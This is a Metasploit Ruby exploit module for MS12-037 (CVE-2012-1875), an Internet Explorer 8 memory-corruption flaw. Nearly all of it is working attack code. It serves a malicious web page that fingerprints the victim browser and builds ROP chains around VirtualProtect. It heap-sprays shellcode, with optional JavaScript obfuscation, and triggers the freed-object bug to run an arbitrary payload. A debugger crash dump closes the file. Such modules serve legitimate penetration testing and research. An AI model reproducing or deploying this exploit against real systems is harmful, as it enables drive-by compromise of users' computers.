##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption",
      'Description'    => %q{
          This module exploits a memory corruption flaw in Internet Explorer 8 when
        handling objects with the same ID property. At the moment this module targets
        IE8 over Windows XP SP3 through the heap massaging plus heap spray as exploited
        in the wild.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Dark Son ', # Vulnerability discovery
          'Qihoo 360 Security Center', # Vulnerability discovery
          'Yichong Lin', # Vulnerability discovery
          'Google Inc.', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'MSB', 'MS12-037'],
          [ 'CVE', '2012-1875' ],
          [ 'OSVDB', '82865'],
          [ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/ongoing-attacks-exploiting-cve-2012-1875/'],
          [ 'URL', 'https://twitter.com/binjo/status/212795802974830592' ] # Exploit found in the wild
        ],
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00",
          'DisableNops' => true
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [
            'IE 8 on Windows XP SP3 with msvcrt ROP',
            {
              'Rop'    => :msvcrt,
              'RopOffset' => '0x5f4',
              'Ret'    => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt.dll
            }
          ],
          [
            'IE 8 on Windows XP SP3 with JRE ROP',
            {
              'Rop'    => :jre,
              'RopOffset' => '0x5f4',
              'Ret'    => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
            }
          ],
          [
            'IE 8 on Windows 7 SP1 with JRE ROP',
            {
              'Rop'    => :jre,
              'RopOffset' => '0x5f4',
              'Ret'    => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Jun 12 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class)

  end

  def get_target(agent)
    # If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
      #Windows XP SP3 + IE 8.0
      return targets[1]
    elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/
      #Windows 7 SP1 + IE 8.0
      return targets[3]
    else
      return nil
    end
  end

  def junk(n=4)
    return rand_text_alpha(n).unpack("V").first
  end

  def nop
    return make_nops(4).unpack("V").first
  end

  def ret(t)
    case t['Rop']
    when :msvcrt
      return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
    when :jre
      return [ 0x7c347f98 ].pack("V") # RETN (ROP NOP) # msvcr71.dll
    end
  end

  def popret(t)
    case t['Rop']
    when :msvcrt
      return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll
    when :jre
      return [ 0x7c376541 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcr71.dll
    end
  end

  def get_rop_chain(t)

    adjust = ret(t) * 27
    adjust << popret(t)
    adjust << [t.ret].pack("V") # stackpivot

    # Both ROP chains generated by mona.py - See corelan.be
    case t['Rop']
    when :msvcrt
      print_status("Using msvcrt ROP")
      rop =
      [
        0x77c4e392,  # POP EAX # RETN
        0x77c11120,  # <- *&VirtualProtect()
        0x77c2e493,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
        junk,
        0x77c2dd6c,
        0x77c4ec00,  # POP EBP # RETN
        0x77c35459,  # ptr to 'push esp #  ret'
        0x77c47705,  # POP EBX # RETN
        0x00001000,  # EBX
        0x77c3ea01,  # POP ECX # RETN
        0x77c5d000,  # W pointer (lpOldProtect) (-> ecx)
        0x77c46100,  # POP EDI # RETN
        0x77c46101,  # ROP NOP (-> edi)
        0x77c4d680,  # POP EDX # RETN
        0x00000040,  # newProtect (0x40) (-> edx)
        0x77c4e392,  # POP EAX # RETN
        nop,         # NOPS (-> eax)
        0x77c12df9,  # PUSHAD # RETN
      ].pack("V*")

    when :jre
      print_status("Using JRE ROP")
      rop =
      [
        0x7c37653d,  # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
        0x00001000,  # (dwSize)
        0x7c347f98,  # RETN (ROP NOP)
        0x7c3415a2,  # JMP [EAX]
        0xffffffff,
        0x7c376402,  # skip 4 bytes
        0x7c345255,  # INC EBX # FPATAN # RETN
        0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
        0x7c344f87,  # POP EDX # RETN
        0x00000040,  # flNewProtect
        0x7c34d201,  # POP ECX # RETN
        0x7c38b001,  # &Writable location
        0x7c347f97,  # POP EAX # RETN
        0x7c37a151,  # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
        0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN
        0x7c345c30,  # ptr to 'push esp #  ret '
      ].pack("V*")
    end

    code = adjust
    code << rop
    return code

  end

  def on_request_uri(cli, request)

    agent = request.headers['User-Agent']
    my_target = get_target(agent)

    # Avoid the attack if the victim doesn't have the same setup we're targeting
    if my_target.nil?
      print_error("Browser not supported: #{agent}")
      send_not_found(cli)
      return
    end

    print_status("Client requesting: #{request.uri}")

    p = payload.encoded

    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
    js_padding = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(my_target.arch))
    js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
    js_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

    js_spray = <<-JS
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var rop_chain = unescape("#{js_rop}");
    var random = unescape("#{js_padding}");
    var nops = unescape("#{js_nops}");

    while (random.length < 0x80000) random += random;
    while (nops.length < 0x80000) nops += nops;

    var padding = random.substring(0, #{my_target['RopOffset']}-code.length);
    var shellcode = code + padding + rop_chain + nops.substring(0, 0x800-code.length-padding.length-rop_chain.length);

    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);

    heap_obj.gc();
    for (var z=1; z < 0x385; z++) {
      heap_obj.alloc(block);
    }
    JS

    js_spray = heaplib(js_spray, {:noobfu => true})

    trigger_f = "trigger"
    feng_shui_f = "feng_shui"
    crash_f = "crash"
    unescape_f = "do_unescape"
    main_f = "main"
    a_id = "MyA"
    danger_id = "imgTest"

    if datastore['OBFUSCATE']
      js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
      js_spray.obfuscate

      trigger_f = rand_text_alpha(rand(5) + 4)
      feng_shui_f = rand_text_alpha(rand(5) + 4)
      crash_f = rand_text_alpha(rand(5) + 4)
      unescape_f = rand_text_alpha(rand(5) + 4)
      main_f = rand_text_alpha(rand(5) + 4)
      a_id = rand_text_alpha(rand(5) + 4)
      danger_id = rand_text_alpha(rand(5) + 4)
    end

    html = %Q|
      <HTML>
      <BODY>
      <title></title>
      <DIV id=testfaild>
        <img id="#{danger_id}" style="display:none">
        <a href="javascript:#{feng_shui_f}();" id="#{a_id}" onClick="#{feng_shui_f}();">
        <div style="background-color:#FFFFFF; width:30; height:40" id="#{danger_id}" src="" onMouseOver="#{crash_f}();" onMouseOut="#{crash_f}();">
        </div>
        </a>
      </DIV>
      <SCRIPT LANGUAGE="JavaScript">
      function #{unescape_f}(dword) {
        var t = unescape;
        var d = Number(dword).toString(16);
        while (d.length < 8) d = '0' + d;
        return t('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
      }
      function #{feng_shui_f}() {
        var tag = 0x1c1c1c0c;
        var vtable1 = #{unescape_f}(tag) + '1234567555555555588888888';
        var divs = new Array();
        for (var i = 0; i < 128; i++) divs.push(document.createElement('div'));
        testfaild.innerHTML = testfaild.innerHTML;
        divs[0].className = vtable1;
        divs[1].className = vtable1;
        divs[2].className = vtable1;
        divs[3].className = vtable1;
      }
      function #{crash_f}() {
        eval("#{danger_id}").src = "";
      }
      function #{trigger_f}() {
        var x = document.getElementsByTagName("div");
        var fireOnThis = document.getElementById("#{a_id}");
        if (document.createEvent) {
          evObj = document.createEvent('MouseEvents');
          evObj.iniEvent('click', true, false);
          fireOnThis.dispatchEvent(evObj);
        } else if (document.createEventObject) {
          x[1].fireEvent('onMouseOver');
          fireOnThis.fireEvent('onclick');
          x[1].fireEvent('onMouseOut');
        }
      }
      function #{main_f}() {

        #{js_spray}
        setTimeout("#{trigger_f}();", 1000);

      }
      #{main_f}();
      </SCRIPT>
      </BODY>
      </HTML>
    |

    html = html.gsub(/^\t\t\t/, '')

    print_status("Sending html")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end

end


=begin
* crash
(a9c.998): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export
symbols for C:\WINDOWS\system32\mshtml.dll -
eax=1c1c1c0c ebx=00000000 ecx=02fdf588 edx=00000001 esi=02fdf588 edi=020bbaf0
eip=6363fcc6 esp=020bba88 ebp=020bba94 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!DllGetClassObject+0xafd09:
6363fcc6 8b5070          mov     edx,dword ptr [eax+70h]
ds:0023:1c1c1c7c=????????
=end